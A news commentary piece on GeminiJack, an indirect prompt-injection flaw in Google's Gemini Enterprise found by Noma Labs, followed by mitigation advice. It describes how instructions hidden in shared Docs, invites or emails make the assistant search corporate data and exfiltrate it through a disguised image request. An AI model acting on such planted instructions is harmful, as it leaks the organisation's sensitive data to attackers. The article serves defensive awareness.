According to Dark Reading, researchers at Noma Labs discovered a critical flaw in Google’s Gemini Enterprise AI assistant called GeminiJack. This vulnerability allowed attackers to exfiltrate sensitive corporate data by planting malicious instructions in common artifacts like shared Google Docs, Calendar invites, or emails. The entire attack could happen without any interaction from, or warning to, a targeted employee. When an employee later performed a normal search, like “show me our budgets,” Gemini Enterprise would automatically retrieve the poisoned document and execute the hidden commands. Google has since worked with Noma to deploy updates, separating Vertex AI Search from Gemini Enterprise and changing how the systems interact with retrieval and indexing to fix the issue.
The Quiet Exfiltration Engine
Here’s the thing that makes this so insidious: it looks like normal assistant behavior. An employee isn’t clicking a shady link or opening a weird attachment. They’re just asking their AI helper a work question. But because Gemini Enterprise has deep access to organizational data—Gmail, Docs, Calendar—it becomes a powerful new access layer. The attacker’s hidden instructions tell the AI to search for terms like “budget” or “acquisition” across all that data, and then smuggle the results out via a disguised image request. The browser tries to load the “image,” and bam, your sensitive data is on a server controlled by the attacker. All from one innocent search query. Traditional security tools? They’re blind to this. Why would they flag a normal AI search and a subsequent image load?
A Fundamental Shift in Threats
This isn’t just another bug. It represents a fundamental shift in how we have to think about enterprise security. As the report from Noma Labs points out, perimeter defenses and data loss prevention tools weren’t built to detect when an AI assistant turns into an exfiltration engine. The blast radius is huge. Jason Soroko from Sectigo nailed it: these AI systems become “high-value single points of failure.” One crafted message, one poisoned document, can potentially open a massive slice of your corporate estate. And the scary part? This is probably just the beginning. As AI agents get more access and more autonomy, the potential for similar indirect prompt injection attacks only grows.
So What Do We Do About It?
Google fixed this specific instance, but the architectural risk remains for any RAG-based AI system with broad data access. So, what’s the mitigation? We have to start treating these AI assistants like the powerful infrastructure they are. That means giving them the absolute minimum access needed—no more “all of Workspace” by default. It means logging and reviewing their activity as carefully as you would for any privileged admin account. And crucially, it means keeping a human in the loop for any action that changes data or contacts people. Soroko also suggests targeted red teaming: basically, simulating these exact attack scenarios to see if your employees and systems can spot the malicious behavior. It’s a new world, and our security practices need to evolve fast. Because the next GeminiJack might not be found by friendly researchers before it’s exploited.
